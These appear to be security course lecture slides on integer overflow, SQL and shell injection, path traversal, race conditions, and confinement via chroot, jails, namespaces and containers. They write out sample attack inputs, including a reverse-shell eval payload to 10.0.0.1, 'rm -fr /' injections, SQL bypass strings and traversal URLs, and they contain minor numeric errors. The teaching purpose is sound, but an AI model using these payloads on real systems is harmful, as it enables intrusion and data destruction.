Week 4: Hijacking & Confinement
Part 0

Integer Overflow
### Integers

- **Arbitrary precision libraries sometimes available**
  - But performance penalty – processors don’t do arbitrary precision math

- **The range may be large … but is not infinite**

<table>
<thead>
<tr>
<th>Size</th>
<th>Unsigned</th>
<th>Signed</th>
</tr>
</thead>
<tbody>
<tr>
<td>8-bit (1 byte)</td>
<td>0 .. 255</td>
<td>-128 .. +127</td>
</tr>
<tr>
<td>16-bit (2 bytes)</td>
<td>0 .. 65,535</td>
<td>-32,768 .. +32765</td>
</tr>
<tr>
<td>32-bit (4 bytes)</td>
<td>0 .. 4,294,967,295</td>
<td>-2,147,483,648 .. 2,147,483,647</td>
</tr>
<tr>
<td>64-bit (8 bytes)</td>
<td>0 .. 18,446,744,073,709,551,617</td>
<td>-9,223,372,036,854,775,808 .. +9,223,372,036,854,775,807</td>
</tr>
</tbody>
</table>
Unsigned integer overflow

Bigger than the biggest?

```c
int main(int argc, char **argv)
{
    unsigned short n = 65535;

    n = n + 1;

    printf("n = %d\n", n);
}
```

What gets printed?

```
n = 65535
n + 1 = 0
```
Signed integer overflow

Bigger than the biggest?

```c
int main(int argc, char **argv)
{
    short n = 32767;
    printf("n = %d\n\n", n);
    n = n + 1;
    printf("n+1 = %d\n", n);
}
```

What gets printed?

```
n = 32767
n+1 = -32768
```

max short int
Smaller than the smallest?

```c
int main(int argc, char **argv)
{
    short n = -32768;
    printf("n = %d\n", n);
    n = n - 1;
    printf("n-1 = %d\n", n);
}
```

What gets printed?

- `n = -32768`
- `n-1 = 32767`
Same thing for ints

Bigger than the biggest?

```c
int main(int argc, char **argv)
{
    short n = 2147483647;
    printf("n = %d\n", n);
    n = n + 1;
    printf("n+1 = %d\n", n);
}
```

What gets printed?

```
n = 2147483647
n+1 = -2147483648
```
Casting from unsigned to signed

```c
int main(int argc, char **argv)
{
    unsigned short n = 65535;
    short i = n;

    printf("n = %d\n", n);
    printf("i = %d\n", i);
}
```

What gets printed?

n = 65535
i = -1
So what?

- You might not detect a buffer overflow
- If working with money
  - Negative account can become positive
  - Positive account can become negative

Version 3.3 of OpenSSH

If `packet_get_int` returns 1073741824, we allocate 0 bytes for response!

```c
nresp = packet_get_int();
if (nresp > 0) {
    response = xmalloc(nresp*sizeof(char*));
    for (i = 0; i < nresp; i++)
        response[i] = packet_get_string(NULL);
}
```
But we have 64-bit architectures!

- **Even 64-bit values can overflow**
  - If users can set a field to any value somewhere, overflows can occur
  - Default int size in C on Linux, macOS = 32 bits

- **More importantly, a lot of fields use smaller values**
  - IP header
    - time-to-live field = 8 bits, fragment offset = 16 bits, length = 16 bits
  - TCP header
    - Sequence #, Ack # = 32 bits, Window size = 16 bits
  - GPS week # = 10 bits
Part 1

Command injection attacks
Command injection attacks

• Allows an attacker to inject commands into a program or query to:
  – Execute commands
  – Modify a database
  – Change data on a website

• versus code injection
  – Inject arbitrary code – not limited by the capabilities of the language or command interpreter
SQL Injection
Bad Input: SQL Injection

• Let’s create an SQL query in our program

```c
sprintf(buf,
    "SELECT * WHERE user='\%s' AND query='\%s';",
    uname, query);
```

• You’re careful to limit your queries to a specific user

• But suppose `query` comes from user input and is:

```c
foo' OR user='root
```

• The command we create is:

```c
SELECT * WHERE user='paul' AND query='foo' OR user='root';
```
What’s wrong?

We didn’t validate our input!

… and ended up creating a query that we did not intend to make!
Another example: password validation

Suppose we’re validating a user’s password:

```c
sprintf(buf,
"SELECT * from logininfo WHERE username = '%s' AND password = '%s';",
uname, passwd);
```

But suppose the user entered this for a password:

' OR 1=1 --

The command we create is:

```
SELECT * from logininfo WHERE username = paul AND password = '' OR 1=1 -- ;
```

1=1 is always true!
We bypassed the password check!
Opportunities for destructive operations

Most databases support a batched SQL statement: multiple statements separated by a semicolon

```
SELECT * FROM students WHERE name = 'Robert'; DROP TABLE Students; --
```
Not command injection … but still a bug!

**WIRED**

How a 'NULL' License Plate Landed One Hacker in Ticket Hell

Security researcher Joseph Tartaro thought NULL would make a fun license plate. He's never been more wrong.

Joseph Tartaro never meant to cause this much trouble. Especially for himself.

In late 2016, Tartaro decided to get a vanity license plate. A security researcher by trade, he ticked down possibilities that related to his work: SEGFAULT, maybe, or something to do with vulnerabilities.

... That setup also has a brutal punch line—one that left Tartaro at one point facing $12,049 of traffic fines wrongly sent his way.

https://www.wired.com/story/null-license-plate-landed-one-hacker-ticket-hell/
Protection from SQL Injection

• SQL injection attacks are incredibly common because most web services are front ends to database systems

• Type checking is difficult

• Use escaping for special characters
  – Replace single quotes with two single quotes
  – Prepend backslashes for embedded potentially dangerous characters (newlines, returns, nuls)

• Escaping is error-prone
  • Rules differ for different databases (MySQL, PostgreSQL, dashDB, SQL Server, …)

Don’t create commands with user-supplied substrings added into them
Protection from SQL Injection

Use parameterized SQL queries or stored procedures

Keeps query consistent:
parameter data never becomes part of the query string

uname = getResourceString("username");
passwd = getResourceString("password");
query = "SELECT * FROM users WHERE username = @0 AND password = @1";
db.Execute(query, uname, passwd);
If you invoke any external program, know its parsing rules

Converting data to statements that get executed is common in some interpreted languages

- Shell, Perl, PHP, Python
Shell commands
system() and popen()

- These library functions make it easy to execute programs
  - `system`: execute a shell command
  - `popen`: execute a shell command and get a file descriptor to send output to the command or read input from the command

- These both run `sh -c command`

- Vulnerabilities include
  - Altering the search path if the full path is not specified
  - Changing IFS to change the definition of separators
  - Using user input as part of the command

```c
snprintf(cmd, "/usr/bin/mail -s alert %s", bsize, user);
f = popen(cmd, "w");
```

What if `user = "paul;rm -fr /home/*"`

```sh
sh -c "/usr/bin/mail -s alert paul; rm -fr /home/*"
```
Python: os.system() and os.popen()

os.system and os.popen were deprecated since Python 2.6, replaced by subprocess.call

import subprocess

def transcode_file():
    filename = raw_input('Enter file to transcode: ')
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True)

What if the file is: myfile.mov; rm -fr /; echo "
The command will be:

ffmpeg -i "myfile.mov; rm -fr /; echo " " output_file.mpg

See https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html
Python code injection

- Python is an interpreter
  - Supports on-the-fly code compilation via **compile()**
  - **eval(expression)**: parse & evaluate a Python expression
  - **exec(object)**: parse & evaluate a set of Python statements or execute an object

```python
def addnums(a, b):
    return eval("%s + %s" % (a, b))

result = addnums(request.json['a'], request.json['b'])
print("Answer = %d." % result)
```

https://docs.python.org/3/library/functions.html

https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1
def addnums(a, b):
    return eval("%s + %s" % (a, b))

result = addnums(request.json['a'], request.json['b'])
print("Answer = %d." % result)

An input of      
{"a":"1", "b":"2"}
Will produce Answer = 3

But what if the input is

{"a":"__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')#","b":"2"}

The program starts a shell with input/output on 10.0.0.1 port 8080
Python: shell escaping

**shlex.quote(s)**

Return a shell-escaped version of the string s. The returned value is a string that can safely be used as one token in a shell command line, for cases where you cannot use a list.

```python
>>> filename = 'somefile; rm -rf ~'
>>> command = 'ls -l {}'.format(filename)
>>> print(command)  # executed by a shell: boom!
ls -l somefile; rm -rf ~
```

```python
>>> command = 'ls -l {}'.format(shlex.quote(filename))
>>> print(command)
ls -l 'somefile; rm -rf ~'
```

```python
>>> remote_command = 'ssh home {}'.format(shlex.quote(command))
>>> print(remote_command)
ssh home 'ls -l 'somefile; rm -rf ~'
```
Python string formatting

• Same problem as with printf in C
  – Attacker may access arbitrary data in the program by setting format string

• Python 3 enhanced the format string
  – Access attributes and items of objects

• If a user can control the format string, the user can access internal attributes of objects … and global data
Python string formatting

```
CONFIG = {
    "secret_key": "VGhpcyBpcyA0MTkK"
}

class Message(object):
    def __init__(self, message):
        self.message = message
        self.priority = 1

    def format_msg(self, format_string, msg):
        return format_string.format(msg=msg)

new_msg = Message("This is a test message")

user_input = 'The message is "{msg.message}", class="{msg.__class__.__name__}"'

print(user_input.format(msg=new_msg))
```

The message is "This is a test message", class="Message"
CONFIG = {
    "secret_key": "VGhpcyBpcyA0MTkK"
}

class Message(object):
    def __init__(self, message):
        self.message = message
        self.priority = 1

    def format_msg(format_string, msg):
        return format_string.format(msg=msg)

new_msg = Message("This is a test message")

user_input = '{msg.__init__.__globals__[CONFIG][secret_key]}'

print(user_input.format(msg=new_msg))

The key is: VGhpcyBpcyA0MTkK
Environment variables

- **PATH**: search path for commands
  - If untrusted directories are in the search path before trusted ones (`/bin`, `/usr/bin`), you might execute a command there.
    - Users sometimes place the current directory (`.`) at the start of their search path
    - What if the command is a booby-trap?
      - If shell scripts use commands, they’re vulnerable to the user’s path settings
      - Use absolute paths in commands or set PATH explicitly in a script

- **ENV, BASH_ENV**
  - Set to a file name that some shells execute when a shell starts
Other environment variables

**LD_LIBRARY_PATH**
- Search path for shared libraries
- If you change this, you can replace parts of the C library by custom versions
  - Redefine system calls, `printf`, whatever…

**LD_PRELOAD**
- Forces a list of libraries to be loaded for a program, even if the program does not ask for them
- If we preload our libraries, they get used instead of standard ones

You won’t get root access with this, but you can change the behavior of programs
- Change random numbers, key generation, time-related functions in games
- List files or network connections that a program uses
- Change files or network connections a program uses
- Modify features or behavior of a program
Function interposition

**interpose**
(ˈɪntɪr-pəzˈ)

1. Verb (transitive)
   to put someone or something in a position between two other people or things
   *He swiftly interposed himself between his visitor and the door.*

2. To say something that interrupts a conversation

- Change the way library functions work without recompiling programs
- Create wrappers for existing functions
Example of LD_PRELOAD

random.c

```c
#include <time.h>
#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char **argv)
{
    int i;
    srand(time(NULL));
    for (i=0; i < 10; i++)
        printf("%d\n", rand()%100);
    return 0;
}
```

Output

```bash
$ gcc -o random random.c
$ ./random
9
57
13
1
83
86
45
63
51
5
```
Let's create a replacement for rand()

```c
int rand() {
    return 42;
}
```

We didn't recompile random!
Part 2

Other system-related vulnerabilities
File descriptor vulnerabilities
File Descriptors

• On POSIX systems
  – File descriptor 0 = standard input (stdin)
  – File descriptor 1 = standard output (stdout)
  – File descriptor 2 = standard error (stderr)

• `open()` returns the first available file descriptor

Vulnerability

  – Suppose you close file descriptor 1
  – Invoke a setuid root program that will open some sensitive file for output
  – Anything the program prints to stdout (e.g., via `printf`) will write into that file, corrupting it
File Descriptors - example

files.c

```c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
    int fd = open("secretfile", O_WRONLY|O_CREAT, 0600);
    fprintf(stderr, "fd = %d\n", fd);
    printf("hello!\n");
    fflush(stdout); close(fd);
    return 0;
}
```

Bash command to close a file descriptor

We close the standard output

We just corrupted secretfile

```
$ ./files
fd = 3
hello!
$ ./files >&-
fd = 1
```
Obscurity

Windows CreateProcess function

```c
BOOL WINAPI CreateProcess(
    _In_opt_    LPCTSTR               lpApplicationName,
    _Inout_opt_ LPTSTR                lpCommandLine,
    _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    _In_        BOOL                  bInheritHandles,
    _In_        DWORD                 dwCreationFlags,
    _In_opt_    LPVOID                lpEnvironment,
    _In_opt_    LPCTSTR               lpCurrentDirectory,
    _In_        LPSTARTUPINFO         lpStartupInfo,
    _Out_       LPPROCESS_INFORMATION lpProcessInformation);
```

• 10 parameters that define window creation, security attributes, file inheritance, and others...

• It gives you a lot of control but do most programmers know what they’re doing?
Pathname parsing
App-level access control: filenames

- If we allow users to supply filenames, we need to check them
- App admin may specify acceptable pathnames & directories
- Parsing is tricky
  - Particularly if wildcards are permitted (*, ?)
  - And if subdirectories are permitted
• **Suppose you want to restrict access outside a specified directory**
  – Example, ensure a web server stays within `/home/httpd/html`

• **Attackers might want to get other files**
  – They’ll put `..` in the pathname ⇒ `..` is a link to the parent directory
Suppose you want to restrict access outside a specified directory
  - Example, ensure a web server stays within /home/httpd/html

Attackers might want to get other files
  - They’ll put .. in the pathname ⇒ .. is a link to the parent directory

URL: http://pk.org/419/notes/index.html

file: /home/httpd/html/419/notes/index.html

DocumentRoot
Parsing directories - example

http://pk.org/../../../etc/passwd

The .. does not have to be at the start of the name – could be anywhere

http://pk.org/419/notes/../../../416/../../../../../../etc/passwd

But you can’t just search for .. because an embedded .. is valid

http://pk.org/419/notes/some..junk..goes..here/

Even ../ may be valid

http://pk.org/416/notes/../../../419/notes/index.html

Also, extra slashes are fine

http://pk.org/419////notes///some..junk..goes..here///

_Basically, it’s easy to make mistakes!_
Here’s what Microsoft IIS did

• Checked URLs to make sure the request did not use ../ to get outside the inetpub web folder

  Prevents attempts such as
  
  http://www.pk.org/scripts/../../winnt/system32/cmd.exe

• Then it passed the URL through a decode routine to decode extended Unicode characters

• Then it processed the web request

What went wrong?
Application-Specific Syntax: Unicode

• What’s the problem?
  – / could be encoded as unicode `%c0%af`

• UTF-8
  – If the first bit is a 0, we have a one-byte ASCII character
    • Range 0..127 \( / = 47 = 0x2f = 0010 \ 0111 \)
  – If the first bit is 1, we have a multi-byte character
    • If the leading bits are 110, we have a 2-byte character
    • If the leading bits are 1110, we have a 3-byte character, and so on…
  – 2-byte Unicode is in the form 110a bcde 10fg hijk
    • 11 bits for the character # (codepoint), range 0 .. 2047
    • C0 = 1100 0000, AF = 1010 1111 which represents 0x2f = 47
  – Technically, two-byte characters should not process # < 128
    … but programmers are sloppy … and we want the code to be fast
• Parsing ignored `%c0%af` as `/` because it shouldn’t have been used

• So intruders could use IIS to access ANY file in the system

• IIS ran under an IUSR account
  – Anonymous account used by IIS to access the system
  – IUSER is a member of Everyone and Users groups
  – Has access to execute most system files, including `cmd.exe` and `command.com`

• A malicious user had the ability to execute any commands on the web server
  – Delete files, create new network connections
Parsing escaped characters

Even after Microsoft fixed the Unicode bug, another problem came up

If you encoded the backslash (\) character …
(Microsoft uses backslashes for filenames & accepts either in URLs)

… and then encoded the encoded version of the \, you could bypass the security check

\ = %5c
  • % = %25
  • 5 = %35
  • c = %63

For example, we can also write:
  • %%35c ⇒ %5c ⇒ \
  • %25%35%63 ⇒ %5c ⇒ \
  • %255c ⇒ %5c ⇒ \\

Yuck!

These are application problems

• The OS uses whatever path the application gives it
  – It traverses the directory tree and checks access rights as it goes along
    • “x” (search) permissions in directories
    • Read or write permissions for the file

• The application is trying to parse a pathname and map it onto a subtree

• Many other characters also have multiple representations
  – á = U+00C1 = U+0041,U+0301

Comparison rules must be handled by applications and be application dependent
Access check attacks
Some commands may need to write to restricted directories or files but also access user’s files

- Example: some versions of `lpr` (print spooler) read users’ files and write them to the spool directory

- Let’s run the program as `setuid` to `root`
  But we will check file permissions first to make sure the user has read access

```c
if (access(file, R_OK) == 0) {
    fd = open(file, O_RDONLY);
    ret = read(fd, buf, sizeof buf);
    ...
}
else {
    perror(file);
    return -1;
}
```
Race condition: **TOCTTOU: Time of Check to Time of Use**

- **Window of time between access check & open**
  - Attacker can create a link to a readable file
  - Run `/pr` in the background
  - Remove the link and replace it with a link to the protected file
  - The protected file will get printed

```c
if (access(file, R_OK) == 0) {
    << OPPORTUNITY FOR ATTACK >>
    fd = open(file, O_RDONLY);
    ret = read(fd, buf, sizeof buf);
    ...
}
else {
    perror(file);
    return -1;
}
```
Create a temporary file to store received data

if (tmpnam_r(filename)) {
    FILE* tmp = fopen(filename, "wb+");  
    while((recv(sock, recvbuf, DATA_SIZE, 0) > 0) && (amt != 0))
        amt = fwrite(recvbuf, 1, DATA_SIZE, tmp);
}

• API functions to create a temporary filename
  – C library: tmpnam, tempnam, mktemp
  – C++: _tempnam, _tempnam, _mktemp
  – Windows API: GetTempFileName

• They create a unique name when called
  – But no guarantee that an attacker doesn’t create the same name before the filename is used
  – Name often isn’t very random: high chance of attacker constructing it
If an attacker creates that file first:

- Access permissions may remain unchanged for the attacker
  - Attacker may access the file later and read its contents

- Legitimate code may append content, leaving attacker’s content in place
  - Which may be read later as legitimate content

- Attacker may create the file as a link to an important file
  - The application may end up corrupting that file

- The attacker may be smart and call `open` with `O_CREAT | O_EXCL`
  - Or, in Windows: CreateFile with the `CREATE_NEW` attribute
  - Create a new file with exclusive access
  - But if the attacker creates a file with that name, the `open` will fail
    - Now we have `denial of service` attack
Defense against mktemp attacks

Use `mkstemp`

- It will attempt to create & open a unique file
- You supply a template
  A name of your choosing with `xxxxxx` that will be replaced to make the name unique
  ```
  mkstemp("/tmp/secretfilexxxxxx")
  ```
- File is opened with mode 0600: `rw- --- ---`
- If unable to create a file, it will fail and return -1
  - You should test for failure and be prepared to work around it.
The main problem with all of this: interaction

• To increase security, a program must minimize interactions with the outside
  – Users, files, sockets

• All interactions may be attack targets

• Must be controlled, inspected, monitored
Summary

• **Better OSes, libraries, and strict access controls would help**
  – A secure OS & secure system libraries will make it *easier* to write security-sensitive programs
  – Enforce principle of least privilege
  – Validate all user inputs … and try to avoid using user input in commands

• **Reduce chances of errors**
  – Eliminate unnecessary interactions (files, users, network, devices)
  – Use per-process or per-user `/tmp`
  – Avoid error-prone system calls and libraries
    • Or study the detailed behavior and past exploits
    • Minimize comprehension mistakes
  – Specify the operating environment & all inputs
    • … and validate or set them at runtime: PATH, LD_LIBRARY_PATH, user input, …
    • Don’t make user input a part of executed commands
Part 3

Confinement
Compromised applications

• Some services run as root

• What if an attacker compromises the app and gets root access?
  – Create a new account
  – Install new programs
  – “Patch” existing programs (e.g., add back doors)
  – Modify configuration files or services
  – Add new startup scripts (launch agents, cron jobs, etc.)
  – Change resource limits
  – Change file permissions (or ignore them!)
  – Change the IP address of the system

• Even without root, what if you run a malicious app?
  – It has access to all your files
  – Can install new programs in your search path
  – Communicate on your behalf
How about access control?

- **Limit damage via access control**
  - E.g., run servers as a low-privilege user
  - Proper read/write/search controls on files … or role-based policies

- **ACLs don't address applications**
  - Cannot set permissions for a process: “don’t allow access to anything else”
  - At the mercy of default (other) permissions

- **We are responsible for changing protections of every file on the system that could be accessed by other**
  - And hope users don’t change that
  - Or use more complex mandatory access control mechanisms … if available

*Not high assurance*
We can regulate access to some resources

**POSIX `setrlimit()` system call**

- Maximum CPU time that can be used
- Maximum data size
- Maximum files that can be created
- Maximum memory a process can lock
- Maximum # of open files
- Maximum # of processes for a user
- Maximum amount of physical memory used
- Maximum stack size
Confinement: prepare for the worst

- We realize that an application may be compromised
  - We want to run applications we may not completely trust
- Not always possible
- Limit an application to use a subset of the system’s resources
- Make sure a misbehaving application cannot harm the rest of the system
Not just files

Other resources to protect

• CPU time

• Amount of memory used: physical & virtual

• Disk space

• Network identity & access
  – Each system has an IP address unique to the network
  – Compromised application can exploit address-based access control
    • E.g., log in to remote machines that think you’re trusted
  – Intrusion detection systems can get confused
Application confinement goals

- Enforce security – broad access restrictions
- High assurance – know it works
- Simple setup – minimize comprehension errors
- General purpose – works with any (most) applications

We don’t get all of this …
chroot: the granddaddy of confinement

- Oldest confinement mechanism
- Make a subtree of the file system the root for a process
- Anything outside of that subtree doesn’t exist
chroot: the granddaddy of confinement

• Only root can run **chroot**
  
  `chroot /local/httpd` *change the root*
  
  `su httpuser` *change to a non-root user*

• The root directory is now `/local/httpd`
  
  – Anything above it is not accessible
Jailkits

- If programs within the jail need any utilities, they won’t be visible
  - They’re outside the jail
  - Need to be copied
  - Ditto for shared libraries

- Jailkit (https://olivier.sessink.nl/jailkit/)
  - Set of utilities that build a chroot jail
  - Automatically assembles a collection of directories, files, & libraries
  - Place the bare minimum set of supporting commands & libraries
    - The fewer executables live in a jail, the less tools an attacker will have to use

<table>
<thead>
<tr>
<th>jk_init</th>
<th>create a jail using a predefined configuration</th>
</tr>
</thead>
<tbody>
<tr>
<td>jk_cp</td>
<td>copy files or devices into a jail</td>
</tr>
<tr>
<td>jk_chrootsh</td>
<td>places a user into a chroot jail upon login</td>
</tr>
<tr>
<td>jk_lsh</td>
<td>limited shell that allows the execution only of commands in its config file</td>
</tr>
</tbody>
</table>

https://olivier.sessink.nl/jailkit/
Problems?

Does not limit network access

Does not protect network identity

Applications are still vulnerable to root compromise

Normal users cannot run chroot because they can get admin privileges

- Create a jail directory
  
  ```bash
  mkdir /tmp/jail
  ```

- Create a link to the `su` command
  
  ```bash
  ln /bin/su /tmp/jail/su
  ```

- Copy or link libraries & shell
  
  ```bash
  ...
  ```

- Create an `/etc` directory
  
  ```bash
  mkdir /tmp/jail/etc
  ```

- Create password file(s) with a known password for root
  
  ```bash
  ed shadow
  ```

- Enter the jail
  
  ```bash
  chroot /tmp/jail
  ```

- Become root!
  
  ```bash
  su
  ```

  su will validate against the password file in the jail!
If you can become root in a jail, you have access to all system calls

You can create devices within your jail
- On Linux/Unix/BSD, all non-network devices have filenames
- Even memory has a filename (/dev/mem)

• Create a memory device (mknod system call)
  - Change kernel data structures to remove your jail

• Create a disk device to access the raw disk
  - Mount it within your jail and you have access to the whole file system
  - Get what you want, change the admin password, …

• Send signals to kill other processes
  (doesn’t escape the jail but causes harm to others)

• Reboot the system
chroot summary

- Good confinement
- Imperfect solution
- Useless against root
- Setting up a working environment takes some work (or use jailkit)
FreeBSD Jails

- **Enhancement to chroot**
- Run via:
  
  ```
  jail jail_path hostname ip_addr command
  ```
- **Main ideas:**
  - Confine an application, just like `chroot`
  - Restrict what operations a process within a jail can perform, even if root

FreeBSD Jails: Differences from chroot

• **Network restrictions**
  – Jail has its own IP address
  – Can only bind to sockets with a specified IP address and authorized ports

• **Processes can only communicate with processes inside the jail**
  – No visibility into unjailed processes

• **Hierarchical: create jails within jails**

• **Root power is limited**
  – Cannot load kernel modules
  – Ability to disallow certain system calls
    • Raw sockets
    • Device creation
    • Modifying network configuration
    • Mounting/unmounting file systems
    • set_hostname

Problems

• Coarse policies
  – All or nothing access to parts of the file system
  – Does not work for apps like a web browser
    • Needs access to files outside the jail (e.g., saving files, uploading attachments)

• Does not prevent malicious apps from
  – Accessing the network & other machines
  – Trying to crash the host OS

• BSD Jails is a BSD-only solution

• Pretty good for running things like DNS servers and web servers

• Not all that useful for user applications
**Linux Namespaces**

- *chroot* only changed the root of the filesystem namespace
- Linux provides control over the following namespaces:

<table>
<thead>
<tr>
<th>Namespace</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>IPC</td>
<td>System V IPC, POSIX message queues</td>
</tr>
<tr>
<td>Network</td>
<td>Network devices, stacks, ports</td>
</tr>
<tr>
<td>Mount</td>
<td>Mount points</td>
</tr>
<tr>
<td>PID</td>
<td>Process IDs</td>
</tr>
<tr>
<td>User</td>
<td>User &amp; group IDs</td>
</tr>
<tr>
<td>UTS</td>
<td>Hostname and NIS domain name</td>
</tr>
</tbody>
</table>

See namespaces(7)
Unlike *chroot*, unprivileged users can create namespaces

**unshare()** – system call that dissociates parts of the process execution context
- Examples
  - Unshare IPC namespace, so it’s separate from other processes
  - Unshare PID namespace, so the thread gets its own PID namespace for its children

**clone()** – system call to create a child process
- Like *fork()* but allows you to control what is shared with the parent
  - Open files, root of the file system, current working directory, IPC namespace, network namespace, memory, etc.

**setns()** – system call to associate a thread with a namespace
- A thread can associate itself with an existing namespace in /proc/[pid]/ns
How do we restrict privileged operations in a namespace?

• UNIX systems distinguished *privileged vs. unprivileged* processes
  – Privileged = UID 0 = root ⇒ *kernel bypasses all permission checks*

• If we can provide *limited elevation* of privileges to a process:
  – A process can be granted limited privileges
  – E.g., no ability to set UID to root, no ability to mount filesystems

N.B.: These *capabilities* have nothing to do with *capability lists*
Assign subsets of privileges to programs

- Linux divides privileges into 38 distinct controls, including:
  - `CAP_CHOWN`: make arbitrary changes to file owner and group IDs
  - `CAP_DAC_OVERRIDE`: bypass read/write/execute checks
  - `CAP_KILL`: bypass permission checks for sending signals
  - `CAP_NET_ADMIN`: network management operations
  - `CAP_NET_RAW`: allow RAW sockets
  - `CAP_SETUID`: arbitrary manipulation of process UIDs
  - `CAP_SYS_CHROOT`: enable chroot

- These are per-thread attributes
  - Can be set via the `prctl` system call
Limit the amount of resources a process tree can use

- CPU, memory, block device I/O, network
  - E.g., a process tree can use at most 25% of the CPU
  - Limit # of processes within a group

- **Interface = cgroups file system**: /sys/fs/cgroup

Namespaces + cgroups + capabilities = lightweight process virtualization

Process gets the *illusion* that it is running on its own Linux system, isolated from other processes
Vulnerabilities

Bugs have been found
  – User namespace: unprivileged user was able to get full privileges

But **comprehension** is a bigger problem

- **Namespaces do not prohibit a process from making privileged system calls**
  – They control resources that those calls can manage
  – The system will see only the resources that belong to that namespace

- **Capabilities grant non-root users increased access to privileged operations**
  – Design concept: instead of dropping privileges from root, provide limited elevation to non-root users

- **A real root process with its admin capability removed can restore it**
  – If it creates a user namespace, the capability is restored to the root user in that namespace – although limited in function
Summary

- *chroot*

- FreeBSD Jails

- Linux namespaces, capabilities, and control groups
  - Control groups
    - Allow processes to be grouped together – control resources for the group
  - Capabilities
    - Limit what privileged operations a process & its children can perform
  - Namespaces
    - Restrict what a process can see & who it can interact with:
      PIDs, User IDs, mount points, IPC, network
Part 4

More Confinement: Containers
Motivation for containers

• Installing software packages can be a pain
  – Dependencies

• Running multiple packages on one system can be a pain
  – Updating a package can update a library or utility another uses
    • Causing something else to break
  – No isolation among packages
    • Something goes awry in one service impacts another

• Migrating services to another system is a pain
  – Re-deploy & reconfigure
How did we address these problems?

• **Sysadmin effort**
  – Service downtime, frustration, redeployment

• **Run every service on a separate system**
  – Mail server, database, web server, app server, …
  – Expensive! … and overkill

• **Deploy virtual machines**
  – Kind of like running services on separate systems
  – Each service gets its own instance of the OS and all supporting software
  – Heavyweight approach
    • Time share between operating systems
What are containers?

Containers: created to package & distribute software

- Focus on services, not end-user apps
- Software systems usually require a bunch of stuff:
  * Libraries, multiple applications, configuration tools, …
- Container = image containing the application environment
  * Can be installed and run on any system

Key insight:

*Encapsulate software, configuration, & dependencies into one package*
A container feels like a virtual machine

- It gives you the illusion of separate
  - Set of apps
  - Process space
  - Network interface
  - Network configuration
  - Libraries, …

- But limited root powers

- And …
  - All containers on a system share the same OS & kernel modules
How are containers built?

• **Control groups**
  – Meters & limits on resource use
    • Memory, disk (I/O bandwidth), CPU (set %), network (traffic priority)

• **Namespaces**
  – Isolates what processes can see & access
  – Process IDs, host name, mounted file systems, users, IPC
  – Network interface, routing tables, sockets

• **Capabilities**
  – Restrict privileges on a per-process basis

• **Copy on write file system**
  – Instantly create new containers without copying the entire package
  – Storage system tracks changes

• **AppArmor**
  – Pathname-based mandatory access controls
  – Confines programs to a set of listed files & capabilities
Docker

- **First super-popular container**
  - LXC (Linux Containers) were the first

- **Designed to provide Platform-as-a-Service capabilities**
  - Combined Linux cgroups & namespaces into a single easy-to-use package
  - Enabled applications to be deployed consistently anywhere as one package

- **Docker Image**
  - Package containing applications & supporting libraries & files
  - Can be deployed on many environments

- **Make deployment easy**
  - Git-like commands: docker push, docker commit, ...
  - Make it easy to reuse image and track changes
  - Download updates instead of entire images

- **Keep Docker images immutable (read-only)**
  - Run containers by creating a writable layer to temporarily store runtime changes
Later Docker additions

- Docker Hub: cloud-based repository for docker images
- Docker Swarm: deploy multiple containers as one abstraction
Microsoft introduced Containers in Windows Server 2016 with support for Docker

- **Windows Server Containers**
  - Assumes trusted applications
  - Misconfiguration or design flaws may permit an app to escape its container

- **Hyper-V Containers**
  - Each has its own copy of the Windows kernel & dedicated memory
  - Same level of isolation as in virtual machines
  - Essentially a VM that can be coordinated via Docker
  - Less efficient in startup time & more resource intensive
  - Designed for hostile applications to run on the same host
Container Orchestration

• We wanted to manage containers across systems

• Multiple efforts
  – Marathon/Apache Mesos (2014), Kubernetes (2015), Nomad, Docker Swarm, …

• Google designed Kubernetes for container orchestration
  – Google invented Linux control groups
  – Standard deployment interface
  – Scale rapidly (e.g., Pokemon Go)
  – Open source
What is container orchestration?

**Kubernetes orchestration**
- Handle multiple containers and start each one at the right time
- Handle storage
- Deal with hardware and container failure
  - Automatic restart & migration
- Add or remove containers in response to demand
- Integrates with the Docker engine, which runs the actual container
Why were containers created?

Primary goal was software distribution, not security

- Makes moving & running a collection of software simple
  - E.g., Docker Container Format
- Everything at Google is deployed & runs in a container
  - Over 2 billion containers started per week (2014)
  - lmctfy ("Let Me Contain That For You")
    - Google’s old container tool – similar to Docker and LXC (Linux Containers)
    - Then Kubernetes to manage multiple containers & their storage
But containers have security benefits

• Containers use namespaces, control groups, & capabilities
  – Restricted capabilities by default
  – Isolation among containers

• Containers are usually minimal and application-specific
  – Just a few processes
  – Minimal software & libraries
  – Fewer things to attack

• They separate policy from enforcement

• Execution environments are reproducible
  – Easy to inspect how a container is defined
  – Can be tested in multiple environments

• Watchdog-based re-starting: helps with availability

• Containers help with comprehension errors
  – Decent default security without learning much
  – Also ability to enable other security modules
Security Concerns

• **Kernel exploits**
  – All containers share the same kernel

• **Privileges & escaping the container**
  – Privileged containers map uid 0 to the host’s uid 0
    Prevention of escape is based on MAC (apparmor), capabilities & namespace configuration
  – Unprivileged containers map uid 0 to an unprivileged user outside the container
    *No possibility of root escalation*

• **Users in multiple containers may share the same real ID**
  – If users map to the same parent ID, they share all the limits of that ID
  – A user in one container can perform a DoS attack on another user
Security Concerns

- **Denial of service attacks**
  - Untrusted users may launch attacks within containers
  - If one container can monopolize a resource, others suffer

- **Network spoofing**
  - A container can transmit raw ethernet packets and spoof any service

- **Origin integrity**
  - Where is the container from and has it been tampered?
Part 5

More Confinement: Virtual Machines
Virtual CPUs (sort of)

What time-sharing operating systems give us

• Each process feels like it has its own CPU & memory
  – But cannot execute privileged CPU instructions
    (e.g., modify the MMU or the interval timer, halt the processor, access I/O)

• Illusion created by OS preemption, scheduler, and MMU

• User software has to “ask the OS” to do system-related functions

• Containers, BSD Jails, namespaces give us operating system-level virtualization
Process Virtual Machines

CPU interpreter running as a process

• **Pseudo-machine with interpreted instructions**
  – 1966: O-code for BCPL
